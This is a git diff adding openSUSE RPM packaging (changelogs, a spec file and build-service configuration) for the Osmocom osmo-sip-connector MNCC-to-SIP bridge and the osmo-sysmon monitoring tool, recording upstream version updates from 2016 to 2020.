+++ b/rpm-local/spec/osmo-sip-connector/osmo-sip-connector.changes
@@ -0,0 +1,380 @@
+-------------------------------------------------------------------
+Fri Jan 03 21:06:24 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.4.0.0:
+ * Bump version: 1.3.1 → 1.4.0
+
+-------------------------------------------------------------------
+Tue Dec 17 21:02:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.8:
+ * logging from sofia: add missing newline
+
+-------------------------------------------------------------------
+Thu Dec 12 21:04:45 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.7:
+ * osmoappdesc.py: switch to python 3
+
+-------------------------------------------------------------------
+Thu Nov 28 21:12:53 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.6:
+ * MNCC v6: add optional SDP to the socket protocol
+ * mncc.c: fix gsm_mncc_rtp size checks
+
+-------------------------------------------------------------------
+Sat Nov 23 21:05:13 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.4:
+ * exit if the sip agent failed to start
+
+-------------------------------------------------------------------
+Mon Sep 16 20:03:47 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.3:
+ * .service: require to ran after network-online.target
+
+-------------------------------------------------------------------
+Tue Sep 03 20:04:55 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.2:
+ * mncc: check fd before closing a connection
+
+-------------------------------------------------------------------
+Sat Aug 10 20:04:56 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.1:
+ * coverity: Address issue found by coverity
+
+-------------------------------------------------------------------
+Thu Aug 08 21:56:13 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.0:
+ * Bump version: 1.2.0.25-ff8a → 1.3.0
+ * Require newer libosmocore 1.0.0
+ * In hold/retrieve/reinvite, add check that other_leg exists
+ * Logging: Make use of Levels, clarify some messages
+ * Handle case where SIP side hangsup while MNCC is on hold
+ * Cosmetic: Logging and Comments, spelling and clarity changes
+ * Define hold/retrieve functions for MO calls
+ * Fix bug with MO calls not connecting.
+ * inet_ntoa() is deprecated, use inet_ntop() instead
+ * Following from previous commit, assume other->ip is network byte order
+ * IPs stored in the call struct are NETWORK byte order
+ * Remove undefined param passed to {logging,osmo_stats}_vty_add_cmds
+ * Only send update to MNCC if media info changed.
+ * Add support for MNCC HOLD/RETRIEVE
+ * Prepare to support MO Call HOLD
+ * Handle SIP re-INVITEs
+ * Add media mode parameter to sdp_create_file()
+
+-------------------------------------------------------------------
+Thu Jul 11 20:12:51 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.9:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Fri May 31 20:02:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.8:
+ * debian: create -doc subpackage with pdf manuals
+ * Cosmetic: debian: build-depends in multiple lines
+
+-------------------------------------------------------------------
+Tue Apr 30 20:03:38 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.6:
+ * Properly indent config file
+
+-------------------------------------------------------------------
+Sun Apr 21 20:02:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.5:
+ * MNCC: Do not continue with B leg if A leg is cancelled.
+
+-------------------------------------------------------------------
+Fri Apr 19 20:02:13 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.4:
+ * Added daemonize feature to osmo-sip-connector
+
+-------------------------------------------------------------------
+Tue Mar 19 21:02:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.3:
+ * Support Emergency Calling
+
+-------------------------------------------------------------------
+Fri Feb 15 21:02:13 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.2:
+ * cosmetic: use OSMO_STRLCPY_ARRAY() instead of osmo_strlcpy()
+ * Support International Caller ID
+
+-------------------------------------------------------------------
+Mon Jan 21 21:01:56 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.2.0.0:
+ * Bump version: 1.1.0 → 1.2.0
+
+-------------------------------------------------------------------
+Thu Dec 13 21:01:52 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.36:
+ * contrib: fix makedistcheck with disabled systemd
+
+-------------------------------------------------------------------
+Wed Dec 05 21:01:52 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.35:
+ * contrib/jenkins.sh: build and publish manuals
+
+-------------------------------------------------------------------
+Tue Dec 04 21:02:04 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.34:
+ * Fix DISTCHECK_CONFIGURE_FLAGS override
+
+-------------------------------------------------------------------
+Tue Nov 27 21:01:53 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.33:
+ * build manuals moved here from osmo-gsm-manuals.git
+ * sip-connector: update vty reference
+ * running: Add note about DTMF support
+ * osmo-sip-connector: Explicitly note OsmoMSC config with external MNCC
+ * OsmoSIPConnector: fix: avoid OsmoMGW/OsmoSIPcon confusion
+ * Add manual for OsmoSIPConnector
+ * Add VTY reference for osmo-sip-connector
+
+-------------------------------------------------------------------
+Mon Nov 12 21:01:55 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.24:
+ * Allow GSM340_PLAN_UNKNOWN on MNCC originated leg.
+
+-------------------------------------------------------------------
+Tue Nov 06 21:02:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.23:
+ * configure.ac: add --enable-sanitize
+
+-------------------------------------------------------------------
+Sun Oct 21 17:24:36 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.22:
+ * Add --version cmdline option
+
+-------------------------------------------------------------------
+Mon Oct 08 20:01:45 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.21:
+ * vty: make 'show calls summary' more userfriendly
+
+-------------------------------------------------------------------
+Fri Oct 05 20:01:49 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.20:
+ * Fix mncc socket name
+ * cosmetic: call.h: spaces -> tabs for consistency
+
+-------------------------------------------------------------------
+Wed Oct 03 20:01:47 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.18:
+ * Logging: Further use of osmo_mncc_name() in logging
+
+-------------------------------------------------------------------
+Fri Sep 21 20:01:51 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.17:
+ * Fix typo in -h: s/hekp/help
+
+-------------------------------------------------------------------
+Thu Sep 13 20:02:01 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.16:
+ * Install sample cfg file to /etc/osmocom
+ * Install systemd services with autotools
+
+-------------------------------------------------------------------
+Thu Sep 06 20:01:57 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.14:
+ * debian: Use osmo-sip-connector.service from contrib
+
+-------------------------------------------------------------------
+Tue Sep 04 20:01:52 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.13:
+ * Log using GSM48 Cause Value strings
+ * Cosmetic: correct spelling error in logging
+ * Logging: Add debug logging for status/causes
+
+-------------------------------------------------------------------
+Mon Sep 03 20:01:48 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.10:
+ * jenkins.sh: Use --enable-werror option
+ * configure.ac: Introduce --enable-werror option
+ * mncc: Fix missing conditional clause
+
+-------------------------------------------------------------------
+Sun Sep 02 20:01:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.7:
+ * Implement Cause Mapping
+
+-------------------------------------------------------------------
+Fri Aug 31 20:01:45 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.6:
+ * Add SIP <-> MNCC Cause Map
+
+-------------------------------------------------------------------
+Wed Aug 29 20:01:52 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.5:
+ * Use htonl, not ntohl before inet_ntoa()
+ * Logging: Log RTP IP in dotted quad format.
+
+-------------------------------------------------------------------
+Mon Aug 06 20:02:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.3:
+ * debian/rules: Don't overwrite .tarball-version
+
+-------------------------------------------------------------------
+Mon May 28 20:01:59 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.2:
+ * Add Cause to DISCONNECT and RELEASE Requests
+
+-------------------------------------------------------------------
+Fri May 25 20:02:00 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.1:
+ * Logging: Log mncc_names in mncc_data()
+
+-------------------------------------------------------------------
+Sun May 06 20:02:01 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.1.0:
+ * Bump version: 1.1.0.11-11a0-dirty → 1.1.1
+
+-------------------------------------------------------------------
+Mon Apr 16 20:02:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.11:
+ * sip: Register log callback function with sofia-sip
+ * use osmo_init_logging2() to avoid allocating from NULL context
+
+-------------------------------------------------------------------
+Sun Apr 8 18:02:35 UTC 2018 - mardnh@gmx.de
+
+- Run tests
+
+-------------------------------------------------------------------
+Sat Apr 07 18:52:32 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.9:
+ * comments
+ * mncc: use 'const' to denote read-only input buffer/message
+ * Call the program "OsmoSIPcon" (also in vty)
+ * osmoappdesc: Fix VTY prompt to use OsmoSIPcon, not old OsmoMNCC
+
+-------------------------------------------------------------------
+Wed Mar 14 21:29:32 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.1.0.5:
+ * vty: install default commands for SIP,MNCC,APP_NODE
+ * jenkins: use osmo-clean-workspace.sh before and after build
+ * Fix git-version-gen
+ * configure.ac: Depend on latest upstream libosmo-*
+ * Tag/Release Version 1.1.0
+ * vty: skip installing cmds now always installed by default
+ * mncc.c: Ensure proper string buffer NUL termination
+ * debian/control: Fix URLs for homepage / git
+ * contrib: Add systemd service file
+ * contrib: jenkins.sh: Disable doxygen in libosmocore build
+
+-------------------------------------------------------------------
+Fri Feb 16 17:41:20 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapstho 1.1.0.4
+- Use use systemd service file from contrib/systemd/
+
+-------------------------------------------------------------------
+Sat Feb 10 16:11:51 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapstho 1.1.0.3
+
+-------------------------------------------------------------------
+Wed Jan 24 13:15:22 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapstho 1.1.0.2
+
+-------------------------------------------------------------------
+Fri Dec 29 12:18:40 UTC 2017 - jengelh@inai.de
+
+- %service_* already takes care of restart/removal
+
+-------------------------------------------------------------------
+Wed Dec 27 22:16:48 UTC 2017 - mardnh@gmx.de
+
+- Minor specfile cleanup
+
+-------------------------------------------------------------------
+Wed Dec 27 20:23:22 UTC 2017 - mardnh@gmx.de
+
+- Update to new upstream release 1.1.0
+ * No changelog was provided
+
+-------------------------------------------------------------------
+Wed Feb 15 09:20:08 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1486793192.42b073a:
+ * sip: Treat SIP 183 as progress too
+ * evpoll: Use {} in the middle of the if/else if/else block
+ * evpoll: Always initialize revents for the output
+ * evpoll: Don't try to be more smart than g_poll
+
+-------------------------------------------------------------------
+Sun Dec 25 21:08:05 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1475798073.fffc742:
+ * build: be robust against install-sh files above the root dir
+ * configure: check for pkg-config presence
+ * jenkins.sh: use osmo-build-dep.sh, log test failures
+
+-------------------------------------------------------------------
+Sun Oct 02 09:27:30 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1474923387.c403ed6:
+ * app/mncc: Add "use-imsi" to allow calling by IMSI
+ * mncc: Only copy 15 chars to leave the last one as NULL
+ * mncc: Have all release go through a local method
+ * mncc: Reject hold requests for now
+ * mncc: Use snprintf correctly create format specifier
+ * vty: Add simple VTY output for current calls
+ * vty: Fix the number of documented arguments
+ * sip/call/mncc: Move source/dest into the call structure
+ * vty: Add extended show calls command with all information
+ * mncc: Use strcpy for these routines and not memcpy
+ * vty: Add VTY command about the state of the mncc connection
+ * jenkins: Add first CI script for the SIP connector
+ * distcheck/tests: Add the referenced osmoappdesc.py for testing
+ * distcheck: Package the logging.h file as well
+ * jenkins: Try to enable the vty tests as well
+ * jenkins: Use separate check invocation tor un the tests
+ * jenkins: Make it find the libosmocore library as well
+ * sip: Start the application even if sofia-sip is broken
+ * log VTY telnet bind only once
+
+-------------------------------------------------------------------
+Thu Mar 31 18:36:18 UTC 2016 - mardnh@gmx.de
+
+- initial package
+
diff --git a/rpm-local/spec/osmo-sip-connector/osmo-sip-connector.spec b/rpm-local/spec/osmo-sip-connector/osmo-sip-connector.spec
new file mode 100644
index 0000000..b6db802
--- /dev/null
+++ b/rpm-local/spec/osmo-sip-connector/osmo-sip-connector.spec
@@ -0,0 +1,78 @@
+#
+# spec file for package osmo-sip-connector
+#
+# Copyright (c) 2016, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+Name: osmo-sip-connector
+Version: 1.4.0.0
+Release: 0
+Summary: MNCC to SIP bridge for osmo-nitb
+License: AGPL-3.0-or-later AND GPL-2.0-or-later
+Group: Productivity/Telephony/Servers
+URL: http://openbsc.osmocom.org/
+Source: %{name}-%{version}.tar.xz
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: libtool
+BuildRequires: pkgconfig >= 0.20
+BuildRequires: systemd-rpm-macros
+BuildRequires: pkgconfig(libosmocore) >= 1.0.0
+BuildRequires: pkgconfig(libosmogsm) >= 1.0.0
+BuildRequires: pkgconfig(libosmovty) >= 1.0.0
+BuildRequires: pkgconfig(sofia-sip-ua-glib) >= 1.12.0
+%{?systemd_requires}
+
+%description
+Use the osmo-nitb MNCC interface and bridge it to SIP.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure \
+ --docdir="%{_docdir}/%{name}" \
+ --with-systemdsystemunitdir=%{_unitdir}
+make %{?_smp_mflags}
+
+%install
+%make_install
+
+%preun
+%service_del_preun %{name}.service
+
+%postun
+%service_del_postun %{name}.service
+
+%pre
+%service_add_pre %{name}.service
+
+%post
+%service_add_post %{name}.service
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%files
+%license COPYING
+%doc README.asciidoc
+%doc %{_docdir}/%{name}/examples
+%{_bindir}/osmo-sip-connector
+%dir %{_sysconfdir}/osmocom
+%config(noreplace) %{_sysconfdir}/osmocom/osmo-sip-connector.cfg
+%{_unitdir}/%{name}.service
+
+%changelog
diff --git a/rpm-local/spec/osmo-sysmon/_service b/rpm-local/spec/osmo-sysmon/_service
new file mode 100644
index 0000000..86fad58
--- /dev/null
+++ b/rpm-local/spec/osmo-sysmon/_service
@@ -0,0 +1,14 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-sysmon</param>
+ <param name="filename">osmo-sysmon</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-sysmon/_servicedata b/rpm-local/spec/osmo-sysmon/_servicedata
new file mode 100644
index 0000000..7e9b984
--- /dev/null
+++ b/rpm-local/spec/osmo-sysmon/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-sysmon</param>
+ <param name="changesrevision">8984bea4619a4d23fc87558042ab96485d520fea</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-sysmon/osmo-sysmon.changes b/rpm-local/spec/osmo-sysmon/osmo-sysmon.changes
new file mode 100644
index 0000000..d888351
--- /dev/null
+++ b/rpm-local/spec/osmo-sysmon/osmo-sysmon.changes
@@ -0,0 +1,501 @@
+-------------------------------------------------------------------
+Wed Dec 04 21:03:39 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.0.4:
+ * exit(2) on unsupported positional arguments on command line
+
+-------------------------------------------------------------------
+Tue Nov 12 21:09:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.0.3:
+ * Add oneshot mode that exits after one iteration
+ * Cleaner output if sections are empty
+
+-------------------------------------------------------------------
+Fri Nov 08 21:12:46 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.0.1:
+ * simple_ctrl: Don't cause an error if GET response is empty
+
+-------------------------------------------------------------------
+Sun Jul 14 20:11:37 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.0.0:
+ * Bump version: 0.1.1.52-c187 → 0.2.0
+
+-------------------------------------------------------------------
+Thu Jul 11 20:21:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.1.0.3:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Thu Mar 21 21:03:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20190320:
+ * Depend on liboping 1.7.0 instead of 1.9.0
+ * debian: Add missing libmnl-dev dependency
+
+-------------------------------------------------------------------
+Wed Mar 20 21:03:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20190320:
+ * Bump version: 0.0.1.66-d4c3-dirty → 0.1.0
+ * Add debian packaging content
+ * Makefile.am: Add missing bits to have make release working
+
+-------------------------------------------------------------------
+Tue Mar 19 21:03:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20190319:
+ * Add vty option to print output of shell cmd on every poll step
+
+-------------------------------------------------------------------
+Sat Mar 16 21:03:12 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20190316:
+ * openvn: Fix missing break in last commit
+ * openvpn: Remove useless conditional block in parse_state
+ * openvpn: Fix garbage printed after remote port
+ * openvpn: log status description
+ * openvpn: String returned from openvpn is not null-terminated
+ * openvpn: Set reconnect timeout to a much lower value
+ * openvpn: Improve logging and status information
+ * Integrate sleeping/printing loop into osmo main loop
+
+-------------------------------------------------------------------
+Sat Feb 23 21:03:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20190222:
+ * Update config example
+
+-------------------------------------------------------------------
+Fri Feb 22 21:03:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20190222:
+ * osmo-sysmon -h: s/OsmoHLR/osmo-sysmon/
+
+-------------------------------------------------------------------
+Thu Feb 21 21:03:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20190221:
+ * OpenVPN: track interface disconnect
+ * Add OpenVPN probe
+ * Introduce generic host config and related helpers
+
+-------------------------------------------------------------------
+Thu Feb 07 21:02:37 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20190206:
+ * ctrl: log host/port on errors
+
+-------------------------------------------------------------------
+Wed Feb 06 21:02:45 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20190206:
+ * Install signal handlers before processing config
+
+-------------------------------------------------------------------
+Fri Feb 01 21:02:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20190131:
+ * jenkins.sh: remove obsolete comments
+
+-------------------------------------------------------------------
+Thu Jan 31 21:02:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20190131:
+ * Add ping probe support
+
+-------------------------------------------------------------------
+Wed Jan 30 21:02:38 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20190130:
+ * Update Makefile.am
+
+-------------------------------------------------------------------
+Tue Jan 29 21:02:34 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20190128:
+ * ctrl: separate config structure
+
+-------------------------------------------------------------------
+Mon Jan 28 21:02:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20190127:
+ * Drop unused parameter
+
+-------------------------------------------------------------------
+Sun Dec 23 21:02:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20181220:
+ * Move shared libs into common LDADD
+
+-------------------------------------------------------------------
+Thu Dec 13 21:02:45 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20181213:
+ * Add cmdline option parsing support
+ * Move source code to src subdir
+ * Add m4 missing files to fix build
+
+-------------------------------------------------------------------
+Sat Dec 08 21:02:33 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20181208:
+ * Add OpenVPN status helper example from corresponding ticket
+
+-------------------------------------------------------------------
+Fri Nov 30 21:02:39 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20181127:
+ * fix file descriptor leak in osysmon_file_read
+
+-------------------------------------------------------------------
+Thu Nov 22 19:00:54 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20181122:
+ * Expand default config
+ * Update default config
+ * Report config file name on error
+ * Update gitignore
+ * Add git-review config
+
+-------------------------------------------------------------------
+Tue Jul 24 20:02:52 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180724:
+ * git-version-gen: Don't check for .git directory
+
+-------------------------------------------------------------------
+Thu Jun 28 19:08:57 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Wed Jun 27 20:02:43 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Tue Jun 26 20:02:36 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Mon Jun 25 20:02:47 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Sun Jun 24 20:02:58 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Sat Jun 23 20:02:30 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Fri Jun 22 20:02:32 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Thu Jun 21 20:02:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Wed Jun 20 20:02:47 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Tue Jun 19 20:02:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Mon Jun 18 20:02:45 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Sun Jun 17 20:02:27 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Sat Jun 16 20:02:37 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Fri Jun 15 20:03:03 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Thu Jun 14 20:02:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Wed Jun 13 20:02:52 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Tue Jun 12 20:02:33 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
